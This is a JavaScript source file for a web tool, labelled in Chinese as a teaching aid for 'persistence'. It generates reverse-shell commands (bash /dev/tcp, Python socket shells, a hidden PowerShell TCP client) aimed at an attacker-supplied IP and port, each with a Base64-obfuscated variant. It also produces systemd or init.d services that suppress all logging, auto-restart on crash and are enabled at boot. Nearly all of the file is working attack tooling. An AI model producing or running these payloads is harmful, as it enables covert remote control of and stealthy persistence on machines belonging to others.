288 lines
13 KiB
JavaScript
288 lines
13 KiB
JavaScript
/* persist.js —— 辅助维权(教学辅助)生成逻辑
|
||
* 1) 反弹 Shell:按 Linux / Windows 目标机生成三组语句,每组「上为原句、下为 Base64 编码可执行版本」:
|
||
* #1 普通反弹(bash / PowerShell)
|
||
* #2 Python 2 反弹
|
||
* #3 Python 3 反弹
|
||
* 2) Linux 自启服务:按执行文件绝对路径生成 systemd unit 或 SysV init.d 脚本,
|
||
* 均不落盘日志(stdout/stderr → null)且崩溃 3 秒后自动重启。
|
||
* Windows 辅助区文本框为只读,高度随内容自适应、不可手动拉伸。
|
||
* 仅教学辅助;默认示例为占位演示值。
|
||
*/
|
||
(function () {
|
||
'use strict';
|
||
|
||
function $(id) { return document.getElementById(id); }
|
||
|
||
/* ---------- 工具函数 ---------- */
|
||
function esc(s) {
|
||
return String(s).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
||
}
|
||
function basename(p) {
|
||
p = String(p || '').replace(/\\/g, '/').replace(/\/+$/, '');
|
||
var i = p.lastIndexOf('/');
|
||
return i >= 0 ? p.slice(i + 1) : p;
|
||
}
|
||
function segValue(seg) {
|
||
var b = seg.querySelector('button.active');
|
||
return b ? b.getAttribute(b.hasAttribute('data-mode') ? 'data-mode' : 'data-plat') : '';
|
||
}
|
||
function bindSeg(seg, onChange) {
|
||
var btns = seg.querySelectorAll('button');
|
||
for (var i = 0; i < btns.length; i++) {
|
||
btns[i].addEventListener('click', function () {
|
||
for (var j = 0; j < btns.length; j++) btns[j].classList.remove('active');
|
||
this.classList.add('active');
|
||
if (onChange) onChange();
|
||
});
|
||
}
|
||
}
|
||
function setMsg(id, html, isErr) {
|
||
var box = $(id);
|
||
box.innerHTML = html ? '<div class="' + (isErr ? 'err-msg' : 'ok-msg') + '">' + html + '</div>' : '';
|
||
}
|
||
function b64Ascii(text) { // ASCII → Base64(命令本身均为 ASCII)
|
||
var bin = '';
|
||
for (var i = 0; i < text.length; i++) bin += String.fromCharCode(text.charCodeAt(i));
|
||
return btoa(bin);
|
||
}
|
||
function b64Utf16LE(text) { // UTF-16LE → Base64(PowerShell -enc 需要)
|
||
var bytes = [];
|
||
for (var i = 0; i < text.length; i++) {
|
||
var c = text.charCodeAt(i);
|
||
bytes.push(c & 255, c >> 8);
|
||
}
|
||
var bin = '';
|
||
for (var j = 0; j < bytes.length; j++) bin += String.fromCharCode(bytes[j]);
|
||
return btoa(bin);
|
||
}
|
||
function validIp(ip) {
|
||
ip = String(ip || '').trim();
|
||
if (!/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(ip)) return false;
|
||
var o = ip.split('.');
|
||
for (var i = 0; i < 4; i++) { if (+o[i] > 255) return false; }
|
||
return true;
|
||
}
|
||
function validPort(p) {
|
||
p = String(p || '').trim();
|
||
return /^\d{1,5}$/.test(p) && +p >= 1 && +p <= 65535;
|
||
}
|
||
/* 文本框高度自适应内容(.auto-ta 禁止手动拉伸) */
|
||
function fitAuto() {
|
||
var els = document.querySelectorAll('.auto-ta');
|
||
for (var i = 0; i < els.length; i++) {
|
||
els[i].style.height = 'auto';
|
||
els[i].style.height = (els[i].scrollHeight + 2) + 'px';
|
||
}
|
||
}
|
||
|
||
/* ---------- 反弹 Shell 生成(a=普通 b=py2 c=py3,各带 64 编码版) ---------- */
|
||
function buildLinux(ip, port) {
|
||
var bash = 'bash -i >& /dev/tcp/' + ip + '/' + port + ' 0>&1';
|
||
var py2 = 'python2 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
|
||
's.connect(("' + ip + '",' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
|
||
'subprocess.call(["/bin/sh","-i"])\'';
|
||
var py3 = py2.replace('python2', 'python3');
|
||
return {
|
||
titles: {
|
||
a: '#1 普通反弹(bash · 现代发行版自带)',
|
||
b: '#2 Python 2 反弹(python2 · 老版本系统自带)',
|
||
c: '#3 Python 3 反弹(python3 · 现代发行版自带)'
|
||
},
|
||
notes: {
|
||
a: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | bash)',
|
||
b: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python2)',
|
||
c: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python3)'
|
||
},
|
||
a: bash, a64: 'echo ' + b64Ascii(bash) + ' | base64 -d | bash',
|
||
b: py2, b64: 'echo ' + b64Ascii(py2) + ' | base64 -d | python2',
|
||
c: py3, c64: 'echo ' + b64Ascii(py3) + ' | base64 -d | python3'
|
||
};
|
||
}
|
||
function buildWin(ip, port) {
|
||
var ps = '$c=New-Object System.Net.Sockets.TCPClient(\'' + ip + '\',' + port + ');' +
|
||
'$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' +
|
||
'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' +
|
||
'$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);' +
|
||
'$r=(iex $d 2>&1|Out-String);' +
|
||
'$s2=([text.encoding]::ASCII).GetBytes($r+\'PS \'+(pwd).Path+\'> \');' +
|
||
'$s.Write($s2,0,$s2.Length);$s.Flush()};$c.Close()';
|
||
// Python 载荷:代码内部全部使用单引号字符串,便于外层用双引号包裹
|
||
function pyCode(sh) {
|
||
return 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
|
||
's.connect((\'' + ip + '\',' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
|
||
'subprocess.call([\'' + sh + '\'])';
|
||
}
|
||
var code2 = pyCode('cmd.exe');
|
||
var code3 = pyCode('cmd.exe');
|
||
var orig2 = 'python2 -c "' + code2 + '"';
|
||
var orig3 = 'python3 -c "' + code3 + '"';
|
||
return {
|
||
titles: {
|
||
a: '#1 PowerShell 反弹(Windows 内置,无需额外组件)',
|
||
b: '#2 Python 2 反弹(需目标机已装 python2)',
|
||
c: '#3 Python 3 反弹(需目标机已装 python3)'
|
||
},
|
||
notes: {
|
||
a: '▼ 下方为 Base64 编码版(PowerShell -enc,规避引号与特殊字符)',
|
||
b: '▼ 下方为 Base64 编码版(python2 -c 内置 base64 解码执行)',
|
||
c: '▼ 下方为 Base64 编码版(python3 -c 内置 base64 解码执行)'
|
||
},
|
||
a: 'powershell -nop -w hidden -c "' + ps + '"',
|
||
a64: 'powershell -nop -w hidden -enc ' + b64Utf16LE(ps),
|
||
b: orig2,
|
||
b64: 'python2 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code2) + '\'))"',
|
||
c: orig3,
|
||
c64: 'python3 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code3) + '\'))"'
|
||
};
|
||
}
|
||
function renderRev() {
|
||
var ip = $('revIp').value.trim();
|
||
var port = $('revPort').value.trim();
|
||
if (!validIp(ip)) { setMsg('revMsg', '请填写正确的监听 IPv4 地址。', true); return; }
|
||
if (!validPort(port)) { setMsg('revMsg', '请填写 1-65535 的有效端口。', true); return; }
|
||
var g = segValue($('revPlat')) === 'win' ? buildWin(ip, port) : buildLinux(ip, port);
|
||
$('revA').value = g.a;
|
||
$('revA64').value = g.a64;
|
||
$('revB').value = g.b;
|
||
$('revB64').value = g.b64;
|
||
$('revC').value = g.c;
|
||
$('revC64').value = g.c64;
|
||
$('revTA').textContent = g.titles.a;
|
||
$('revTB').textContent = g.titles.b;
|
||
$('revTC').textContent = g.titles.c;
|
||
$('revAN').textContent = g.notes.a;
|
||
$('revBN').textContent = g.notes.b;
|
||
$('revCN').textContent = g.notes.c;
|
||
setMsg('revMsg', '', false);
|
||
fitAuto();
|
||
}
|
||
|
||
/* ---------- Linux 自启服务生成 ---------- */
|
||
function svcName() {
|
||
var n = $('lxName').value.trim();
|
||
if (n) return n;
|
||
return basename($('lxPath').value) || 'agent';
|
||
}
|
||
function systemdUnit(path, name) {
|
||
return '[Unit]\n' +
|
||
'Description=' + name + ' service\n' +
|
||
'After=network.target\n' +
|
||
'\n' +
|
||
'[Service]\n' +
|
||
'Type=simple\n' +
|
||
'ExecStart=' + path + '\n' +
|
||
'Restart=always\n' +
|
||
'RestartSec=3\n' +
|
||
'StandardOutput=null\n' +
|
||
'StandardError=null\n' +
|
||
'\n' +
|
||
'[Install]\n' +
|
||
'WantedBy=multi-user.target\n';
|
||
}
|
||
function initdScript(path, name) {
|
||
return '#!/bin/sh\n' +
|
||
'### BEGIN INIT INFO\n' +
|
||
'# Provides: ' + name + '\n' +
|
||
'# Required-Start: $remote_fs\n' +
|
||
'# Required-Stop: $remote_fs\n' +
|
||
'# Default-Start: 2 3 4 5\n' +
|
||
'# Default-Stop: 0 1 6\n' +
|
||
'# Short-Description: ' + name + '\n' +
|
||
'### END INIT INFO\n' +
|
||
'\n' +
|
||
'DAEMON="' + path + '"\n' +
|
||
'NAME="' + name + '"\n' +
|
||
'PIDFILE="/var/run/' + name + '.pid"\n' +
|
||
'\n' +
|
||
'case "$1" in\n' +
|
||
' start)\n' +
|
||
' echo "Starting $NAME..."\n' +
|
||
' (while :; do "$DAEMON"; sleep 3; done) >/dev/null 2>&1 &\n' +
|
||
' echo $! > "$PIDFILE"\n' +
|
||
' ;;\n' +
|
||
' stop)\n' +
|
||
' echo "Stopping $NAME..."\n' +
|
||
' if [ -f "$PIDFILE" ]; then\n' +
|
||
' KPID=$(cat "$PIDFILE")\n' +
|
||
' pkill -P "$KPID" 2>/dev/null\n' +
|
||
' kill "$KPID" 2>/dev/null\n' +
|
||
' rm -f "$PIDFILE"\n' +
|
||
' fi\n' +
|
||
' ;;\n' +
|
||
' restart)\n' +
|
||
' "$0" stop\n' +
|
||
' sleep 1\n' +
|
||
' "$0" start\n' +
|
||
' ;;\n' +
|
||
' *)\n' +
|
||
' echo "Usage: $0 {start|stop|restart}"\n' +
|
||
' exit 1\n' +
|
||
' ;;\n' +
|
||
'esac\n' +
|
||
'exit 0\n';
|
||
}
|
||
function renderService() {
|
||
var path = $('lxPath').value.trim();
|
||
var name = svcName();
|
||
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
|
||
var out = $('lxOut'), tips = $('lxTips');
|
||
if (!path) {
|
||
out.value = '';
|
||
tips.textContent = '请先填写执行文件绝对路径。';
|
||
return;
|
||
}
|
||
if (mode === 'systemd') {
|
||
out.value = systemdUnit(path, name);
|
||
tips.innerHTML = '安装:将上方内容写入 <code>/etc/systemd/system/' + esc(name) + '.service</code>(需 root),然后执行:<br>' +
|
||
'<code>systemctl daemon-reload && systemctl enable --now ' + esc(name) + '</code><br>' +
|
||
'说明:<code>Restart=always</code> 崩溃自动拉起;<code>StandardOutput/StandardError=null</code> 不产生、不落盘日志。';
|
||
} else {
|
||
out.value = initdScript(path, name);
|
||
tips.innerHTML = '安装:将上方脚本写入 <code>/etc/init.d/' + esc(name) + '</code> 并赋予执行权限:<br>' +
|
||
'<code>chmod +x /etc/init.d/' + esc(name) + '</code><br>' +
|
||
'Debian/Ubuntu(低版本)注册开机自启:<code>update-rc.d ' + esc(name) + ' defaults</code><br>' +
|
||
'CentOS/RHEL 旧版注册开机自启:<code>chkconfig --add ' + esc(name) + '</code><br>' +
|
||
'启动服务:<code>service ' + esc(name) + ' start</code>(脚本内含崩溃后 3 秒自动拉起的看护循环)。';
|
||
}
|
||
}
|
||
function downloadService() {
|
||
var text = $('lxOut').value;
|
||
if (!text) return;
|
||
var name = svcName();
|
||
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
|
||
var fn = mode === 'systemd' ? name + '.service' : name;
|
||
var blob = new Blob(['\ufeff' + text], { type: 'text/plain;charset=utf-8' });
|
||
var url = URL.createObjectURL(blob);
|
||
var a = document.createElement('a');
|
||
a.href = url;
|
||
a.download = fn;
|
||
document.body.appendChild(a);
|
||
a.click();
|
||
document.body.removeChild(a);
|
||
setTimeout(function () { URL.revokeObjectURL(url); }, 1500);
|
||
}
|
||
|
||
/* ---------- 事件绑定 ---------- */
|
||
bindSeg($('revPlat'), renderRev);
|
||
bindSeg($('lxMode'), renderService);
|
||
$('revGo').addEventListener('click', renderRev);
|
||
$('revPort').addEventListener('keydown', function (ev) {
|
||
if (ev.key === 'Enter') renderRev();
|
||
});
|
||
$('lxPath').addEventListener('input', renderService);
|
||
$('lxName').addEventListener('input', renderService);
|
||
$('lxGo').addEventListener('click', renderService);
|
||
$('lxDown').addEventListener('click', downloadService);
|
||
|
||
/* 页面载入即展示默认示例(演示占位值)并自适应文本框高度 */
|
||
renderRev();
|
||
renderService();
|
||
fitAuto();
|
||
// 窗口宽度变化导致换行变化时重新自适应
|
||
var rszT = null;
|
||
window.addEventListener('resize', function () {
|
||
if (rszT) clearTimeout(rszT);
|
||
rszT = setTimeout(fitAuto, 150);
|
||
});
|
||
})();
|